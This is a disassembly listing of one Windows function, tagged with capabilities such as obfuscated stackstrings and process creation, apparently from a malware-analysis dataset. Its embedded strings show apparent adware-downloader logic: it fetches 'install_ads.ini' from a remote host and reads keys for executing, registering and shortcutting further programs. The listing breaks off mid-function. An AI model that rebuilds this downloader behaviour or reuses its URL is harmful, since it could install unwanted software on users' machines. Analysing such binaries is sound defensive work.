Function at 0x411010
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x4989d5
mov eax, dword fs:[0]
push eax
sub esp, 0xd8
push ebx
push esi
push edi
mov eax, dword [0x4bba40]
xor eax, esp
push eax
lea eax, [esp + 0xe8]
mov dword fs:[0], eax
mov edi, dword [ebp + 8]
mov ebx, dword [edi + 0xa8]
mov eax, dword [edi + 0x134]
call fcn.0043f190
mov ebx, dword [edi + 0xb0]
mov eax, dword [edi + 0x134]
call fcn.0043f190
mov ecx, dword [edi + 0x134]
mov esi, dword [ecx + 0x210]
xor eax, eax
test esi, esi
jle 0x4110aa
cmp eax, esi
jl 0x411081
xor edx, edx
jmp 0x41109c
test eax, eax
jl 0x41111d
cmp eax, esi
jge 0x41111d
mov edx, dword [ecx + 0x20c]
lea edx, [edx + eax*4]
mov edx, dword [edx]
cmp dword [edx + 0xe8], 0
jne 0x4110b7
inc eax
cmp eax, esi
jl 0x411081
cmp dword [edi + 0x1b8], 0
je 0x413701
push str.YouXunBoxYouxun.exe
add edi, 0x18c
lea eax, [esp + 0xd8]
push edi
push eax
call fcn.00404ff0
add esp, 8
mov dword [esp + 0xf4], 0
mov ecx, esp
mov dword [esp + 0x38], esp
push str.http:__box64ad.uuuo.com_yxh_install_ads.ini
call fcn.00401bc0
lea ecx, [esp + 0x1c]
push ecx
call fcn.00409700
add esp, 8
mov byte [esp + 0xf0], 1
call fcn.00445b4d
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x411122
push 0x80004005
call fcn.004010b0
call fcn.0044607a
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x88], eax
mov byte [esp + 0xf0], 2
call fcn.00445b4d
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x411157
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x80], eax
mov byte [esp + 0xf0], 3
mov esi, dword [esp + 0x18]
push ecx
mov ecx, dword [esi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add esi, 0xfffffff0
mov dword [esp + 0x38], esp
mov edi, esp
call eax
cmp dword [esi + 0xc], 0
lea edx, [esi + 0xc]
jl 0x4111a4
cmp eax, dword [esi]
jne 0x4111a4
mov ebx, esi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x4111e0
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov ebx, eax
test ebx, ebx
jne 0x4111bd
call fcn.00402710
mov eax, dword [esi + 4]
mov dword [ebx + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
add esi, 0x10
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [ebx + 0x10]
push eax
call fcn.00462f01
add esp, 0x10
add ebx, 0x10
mov dword [edi], ebx
push ecx
mov byte [esp + 0xf8], 4
mov ecx, esp
mov dword [esp + 0x34], esp
push str.sleep
lea edi, [esp + 0x8c]
call fcn.00401bc0
mov byte [esp + 0xf8], 5
mov ebx, dword [0x4c11c8]
push ecx
mov ecx, dword [ebx - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add ebx, 0xfffffff0
mov dword [esp + 0x2c], esp
mov dword [esp + 0x2c], esp
call eax
cmp dword [ebx + 0xc], 0
lea edx, [ebx + 0xc]
jl 0x411243
cmp eax, dword [ebx]
jne 0x411243
mov esi, ebx
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x41127f
mov ecx, dword [ebx + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov esi, eax
test esi, esi
jne 0x41125c
call fcn.00402710
mov eax, dword [ebx + 4]
mov dword [esi + 4], eax
mov eax, dword [ebx + 4]
lea ecx, [eax + eax + 2]
push ecx
add ebx, 0x10
lea edx, [eax + eax + 2]
push ebx
push edx
lea eax, [esi + 0x10]
push eax
call fcn.00462f01
add esp, 0x10
mov ecx, dword [esp + 0x2c]
add esi, 0x10
mov dword [ecx], esi
mov esi, edi
mov byte [esp + 0xfc], 3
call fcn.004095d0
mov edx, dword [esp + 0x8c]
add esp, 0xc
push edx
call fcn.004637b7
mov esi, dword [esp + 0x1c]
mov ecx, dword [esi - 0x10]
add esi, 0xfffffff0
mov dword [esp + 0x38], eax
mov eax, dword [ecx]
mov edx, dword [eax + 0x10]
mov dword [esp + 0x30], esp
mov edi, esp
call edx
cmp dword [esi + 0xc], 0
lea edx, [esi + 0xc]
jl 0x4112dc
cmp eax, dword [esi]
jne 0x4112dc
mov ebx, esi
mov eax, 1
lock xadd dword [edx], eax
jmp 0x411318
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov ebx, eax
test ebx, ebx
jne 0x4112f5
call fcn.00402710
mov eax, dword [esi + 4]
mov dword [ebx + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
add esi, 0x10
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [ebx + 0x10]
push eax
call fcn.00462f01
add esp, 0x10
add ebx, 0x10
mov dword [edi], ebx
push ecx
mov byte [esp + 0xf8], 6
mov ecx, esp
mov dword [esp + 0x50], esp
push str.number
lea edi, [esp + 0x94]
call fcn.00401bc0
mov byte [esp + 0xf8], 7
mov ebx, dword [0x4c11c8]
push ecx
mov ecx, dword [ebx - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add ebx, 0xfffffff0
mov dword [esp + 0x2c], esp
mov dword [esp + 0x2c], esp
call eax
cmp dword [ebx + 0xc], 0
lea edx, [ebx + 0xc]
jl 0x41137b
cmp eax, dword [ebx]
jne 0x41137b
mov esi, ebx
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x4113b7
mov ecx, dword [ebx + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov esi, eax
test esi, esi
jne 0x411394
call fcn.00402710
mov eax, dword [ebx + 4]
mov dword [esi + 4], eax
mov eax, dword [ebx + 4]
lea ecx, [eax + eax + 2]
push ecx
add ebx, 0x10
lea edx, [eax + eax + 2]
push ebx
push edx
lea eax, [esi + 0x10]
push eax
call fcn.00462f01
add esp, 0x10
mov ecx, dword [esp + 0x2c]
add esi, 0x10
mov dword [ecx], esi
mov esi, edi
mov byte [esp + 0xfc], 3
call fcn.004095d0
mov edx, dword [esp + 0x94]
add esp, 0xc
push edx
call fcn.004637b7
mov esi, eax
add esp, 4
mov dword [esp + 0x2c], esi
call fcn.00445b4d
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x411402
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x30], eax
mov byte [esp + 0xf0], 8
call fcn.00445b4d
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x411434
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x28], eax
mov byte [esp + 0xf0], 9
call fcn.00445b4d
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x411466
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x38], eax
mov byte [esp + 0xf0], 0xa
call fcn.00445b4d
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x411498
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x40], eax
mov byte [esp + 0xf0], 0xb
call fcn.00445b4d
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x4114ca
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x3c], eax
mov byte [esp + 0xf0], 0xc
call fcn.00445b4d
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x4114fc
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x48], eax
mov byte [esp + 0xf0], 0xd
call fcn.00445b4d
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x41152e
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x70], eax
mov byte [esp + 0xf0], 0xe
call fcn.00445b4d
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x411560
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x68], eax
mov byte [esp + 0xf0], 0xf
call fcn.00445b4d
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x411592
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x60], eax
mov byte [esp + 0xf0], 0x10
call fcn.00445b4d
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x4115c4
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x44], eax
mov byte [esp + 0xf0], 0x11
call fcn.00445b4d
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x4115f6
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x58], eax
mov byte [esp + 0xf0], 0x12
call fcn.00445b4d
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x411628
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x50], eax
mov byte [esp + 0xf0], 0x13
call fcn.00445b4d
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x41165a
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0xa0], eax
mov byte [esp + 0xf0], 0x14
call fcn.00445b4d
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x41168f
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x94], eax
mov byte [esp + 0xf0], 0x15
call fcn.00445b4d
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x4116c4
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x98], eax
mov byte [esp + 0xf0], 0x16
call fcn.00445b4d
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x4116f9
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x8c], eax
mov byte [esp + 0xf0], 0x17
call fcn.00445b4d
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x41172e
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0xb4], eax
mov byte [esp + 0xf0], 0x18
call fcn.00445b4d
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x411763
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x84], eax
mov byte [esp + 0xf0], 0x19
call fcn.00445b4d
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x411798
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0xcc], eax
mov byte [esp + 0xf0], 0x1a
call fcn.00445b4d
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x4117cd
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x4c], eax
mov byte [esp + 0xf0], 0x1b
call fcn.00445b4d
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x4117ff
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0xac], eax
mov byte [esp + 0xf0], 0x1c
call fcn.00445b4d
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x411834
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x74], eax
mov byte [esp + 0xf0], 0x1d
call fcn.00445b4d
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x411866
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0xbc], eax
mov byte [esp + 0xf0], 0x1e
call fcn.00445b4d
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x41189b
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x6c], eax
mov byte [esp + 0xf0], 0x1f
call fcn.00445b4d
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x4118cd
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0xa4], eax
mov byte [esp + 0xf0], 0x20
call fcn.00445b4d
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x411902
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x64], eax
mov byte [esp + 0xf0], 0x21
call fcn.00445b4d
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x411934
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0xc4], eax
mov byte [esp + 0xf0], 0x22
call fcn.00445b4d
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x411969
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x5c], eax
mov byte [esp + 0xf0], 0x23
call fcn.00445b4d
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x41199b
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0xa8], eax
mov byte [esp + 0xf0], 0x24
call fcn.00445b4d
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x4119d0
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x54], eax
mov byte [esp + 0xf0], 0x25
call fcn.00445b4d
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x411a02
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0xc8], eax
mov byte [esp + 0xf0], 0x26
call fcn.00445b4d
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x411a37
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0xc0], eax
mov byte [esp + 0xf0], 0x27
call fcn.00445b4d
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x411a6c
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0xb8], eax
mov byte [esp + 0xf0], 0x28
call fcn.00445b4d
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x411aa1
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0xb0], eax
mov byte [esp + 0xf0], 0x29
call fcn.00445b4d
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x411ad6
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x7c], eax
mov byte [esp + 0xf0], 0x2a
call fcn.00445b4d
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x411b08
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x78], eax
mov byte [esp + 0xf0], 0x2b
call fcn.00445b4d
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x411b3a
push 0x80004005
call fcn.004010b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x90], eax
cmp esi, 1
mov bl, 0x2c
mov byte [esp + 0xf0], bl
mov dword [esp + 0x24], 1
jl 0x412f19
jmp 0x411b70
mov ecx, dword [esp + 0x24]
push ecx
lea edx, [esp + 0xb4]
push str.wd_dexec
push edx
call fcn.00405b00
mov esi, dword [esp + 0x24]
mov ecx, dword [esi - 0x10]
mov eax, dword [ecx]
mov edx, dword [eax + 0x10]
add esi, 0xfffffff0
add esp, 8
mov dword [esp + 0x20], esp
mov dword [esp + 0x14], esp
call edx
cmp dword [esi + 0xc], 0
lea ecx, [esi + 0xc]
jl 0x411bbd
cmp eax, dword [esi]
jne 0x411bbd
mov edi, esi
mov eax, 1
lock xadd dword [ecx], eax
jmp 0x411bf8
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
je 0x4111b8
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
add esi, 0x10
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [edi + 0x10]
push eax
call fcn.00462f01
add esp, 0x10
mov ecx, dword [esp + 0x14]
add edi, 0x10
mov dword [ecx], edi
mov byte [esp + 0xf4], 0x2d
mov esi, dword [esp + 0xb4]
push ecx
mov ecx, dword [esi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add esi, 0xfffffff0
mov dword [esp + 0x1c], esp
mov dword [esp + 0x18], esp
call eax
cmp dword [esi + 0xc], 0
lea edx, [esi + 0xc]
jl 0x411c40
cmp eax, dword [esi]
jne 0x411c40
mov edi, esi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x411c7b
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
je 0x4111b8
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
add esi, 0x10
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [edi + 0x10]
push eax
call fcn.00462f01
add esp, 0x10
mov ecx, dword [esp + 0x18]
add edi, 0x10
mov dword [ecx], edi
mov byte [esp + 0xf8], 0x2e
mov esi, dword [0x4c11c8]
push ecx
mov ecx, dword [esi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add esi, 0xfffffff0
mov dword [esp + 0x1c], esp
mov dword [esp + 0x1c], esp
call eax
cmp dword [esi + 0xc], 0
lea edx, [esi + 0xc]
jl 0x411cc2
cmp eax, dword [esi]
jne 0x411cc2
mov edi, esi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x411cfd
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
je 0x4111b8
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
add esi, 0x10
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [edi + 0x10]
push eax
call fcn.00462f01
add esp, 0x10
mov ecx, dword [esp + 0x1c]
add edi, 0x10
mov dword [ecx], edi
lea esi, [esp + 0xc0]
mov byte [esp + 0xfc], bl
call fcn.004095d0
mov edx, dword [esp + 0x30]
add esp, 0xc
push edx
lea eax, [esp + 0x88]
push str.wd_did
push eax
call fcn.00405b00
mov esi, dword [esp + 0x24]
mov ecx, dword [esi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add esi, 0xfffffff0
add esp, 8
mov dword [esp + 0x18], esp
mov dword [esp + 0x14], esp
call eax
cmp dword [esi + 0xc], 0
lea edx, [esi + 0xc]
jl 0x411d69
cmp eax, dword [esi]
jne 0x411d69
mov edi, esi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x411da4
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
je 0x4111b8
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
add esi, 0x10
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [edi + 0x10]
push eax
call fcn.00462f01
add esp, 0x10
mov ecx, dword [esp + 0x14]
add edi, 0x10
mov dword [ecx], edi
mov byte [esp + 0xf4], 0x2f
mov esi, dword [esp + 0x88]
push ecx
mov ecx, dword [esi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add esi, 0xfffffff0
mov dword [esp + 0x24], esp
mov dword [esp + 0x18], esp
call eax
cmp dword [esi + 0xc], 0
lea edx, [esi + 0xc]
jl 0x411dec
cmp eax, dword [esi]
jne 0x411dec
mov edi, esi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x411e27
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
je 0x4111b8
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
add esi, 0x10
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [edi + 0x10]
push eax
call fcn.00462f01
add esp, 0x10
mov ecx, dword [esp + 0x18]
add edi, 0x10
mov dword [ecx], edi
mov byte [esp + 0xf8], 0x30
mov esi, dword [0x4c11c8]
push ecx
mov ecx, dword [esi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add esi, 0xfffffff0
mov dword [esp + 0x1c], esp
mov dword [esp + 0x1c], esp
call eax
cmp dword [esi + 0xc], 0
lea edx, [esi + 0xc]
jl 0x411e6e
cmp eax, dword [esi]
jne 0x411e6e
mov edi, esi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x411ea9
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
je 0x4111b8
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
add esi, 0x10
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [edi + 0x10]
push eax
call fcn.00462f01
add esp, 0x10
mov ecx, dword [esp + 0x1c]
add edi, 0x10
mov dword [ecx], edi
lea esi, [esp + 0x3c]
mov byte [esp + 0xfc], bl
call fcn.004095d0
mov edx, dword [ebp + 8]
mov edi, dword [edx + 0x134]
xor esi, esi
add esp, 0xc
cmp esi, dword [edi + 0x210]
jge 0x411fdb
test esi, esi
jl 0x41111d
cmp esi, dword [edi + 0x210]
jge 0x41111d
mov eax, dword [edi + 0x20c]
lea eax, [eax + esi*4]
mov eax, dword [eax]
mov eax, dword [eax + 0x114]
test eax, eax
je 0x411f54
mov edx, dword [esp + 0x30]
xor ecx, ecx
test edx, edx
setne cl
test ecx, ecx
je 0x411113
mov eax, dword [eax]
mov ecx, edx
lea esp, [esp]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x411f46
test dx, dx
je 0x411f42
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x411f46
add eax, 4
add ecx, 4
test dx, dx
jne 0x411f20
xor eax, eax
jmp 0x411f4b
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
sete al
test al, al
jne 0x411f63
inc esi
cmp esi, dword [edi + 0x210]
jl 0x411edc
jmp 0x411fdb
cmp esi, dword [edi + 0x210]
jl 0x411f6f
xor eax, eax
jmp 0x411f8e
test esi, esi
jl 0x41111d
cmp esi, dword [edi + 0x210]
jge 0x41111d
mov ecx, dword [edi + 0x20c]
lea eax, [ecx + esi*4]
mov eax, dword [eax]
cmp dword [eax + 0xe8], 0
jne 0x411fdb
mov eax, dword [esp + 0xb4]
mov ecx, 0x4a24dc
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x411fc9
test dx, dx
je 0x411fc5
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x411fc9
add eax, 4
add ecx, 4
test dx, dx
jne 0x411fa3
xor eax, eax
jmp 0x411fce
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
sete al
test al, al
je 0x412f06
mov ecx, dword [esp + 0x30]
mov eax, dword [ecx - 0xc]
mov esi, dword [esp + 0x24]
test eax, eax
je 0x41200b
push eax
push ecx
lea ecx, [esp + 0x84]
call fcn.00405740
push 1
push 0x4a1d50
lea ecx, [esp + 0x84]
call fcn.00405740
push esi
lea edx, [esp + 0xd0]
push str.wd_durl
push edx
call fcn.00405b00
add esp, 0xc
push esi
lea eax, [esp + 0x50]
push str.wd_dmd5
push eax
call fcn.00405b00
add esp, 0xc
push esi
lea ecx, [esp + 0xb0]
push str.wd_dmain
push ecx
call fcn.00405b00
add esp, 0xc
push esi
lea edx, [esp + 0x78]
push str.wd_dunmain
push edx
call fcn.00405b00
add esp, 0xc
push esi
lea eax, [esp + 0x70]
push str.wd_dchina
push eax
call fcn.00405b00
add esp, 0xc
push esi
lea ecx, [esp + 0xc0]
push str.wd_dopen
push ecx
call fcn.00405b00
add esp, 0xc
push esi
lea edx, [esp + 0x58]
push str.wd_dReg
push edx
call fcn.00405b00
add esp, 0xc
push esi
lea eax, [esp + 0xa8]
push str.wd_dtaskbar
push eax
call fcn.00405b00
add esp, 0xc
push esi
lea ecx, [esp + 0x68]
push str.wd_dparam
push ecx
call fcn.00405b00
add esp, 0xc
push esi
lea edx, [esp + 0xc8]
push str.wd_dLnk
push edx
call fcn.00405b00
add esp, 0xc
push esi
lea eax, [esp + 0x60]
push str.wd_dsleep
push eax
call fcn.00405b00
add esp, 0xc
push esi
lea ecx, [esp + 0xac]
push str.wd_dlnkpath
push ecx
call fcn.00405b00
add esp, 0xc
push esi
lea edx, [esp + 0xcc]
push str.wd_drnwait
push edx
call fcn.00405b00
add esp, 0xc
push esi
push str.wd_dprocess
lea eax, [esp + 0xc8]
push eax
call fcn.00405b00
add esp, 0xc
push esi
lea ecx, [esp + 0xbc]
push str.wd_dArea
push ecx
call fcn.00405b00
mov esi, dword [esp + 0x24]
mov ecx, dword [esi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add esi, 0xfffffff0
add esp, 8
mov dword [esp + 0x18], esp
mov dword [esp + 0x14], esp
call eax
cmp dword [esi + 0xc], 0
lea edx, [esi + 0xc]
jl 0x412176
cmp eax, dword [esi]
jne 0x412176
mov edi, esi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x4121b1
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
je 0x4111b8
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
add esi, 0x10
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [edi + 0x10]
push eax
call fcn.00462f01
add esp, 0x10
mov ecx, dword [esp + 0x14]
add edi, 0x10
mov dword [ecx], edi
mov byte [esp + 0xf4], 0x31
mov edi, dword [esp + 0xd0]
push ecx
mov ecx, dword [edi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add edi, 0xfffffff0
mov dword [esp + 0x24], esp
mov dword [esp + 0x18], esp
call eax
cmp dword [edi + 0xc], 0
lea edx, [edi + 0xc]
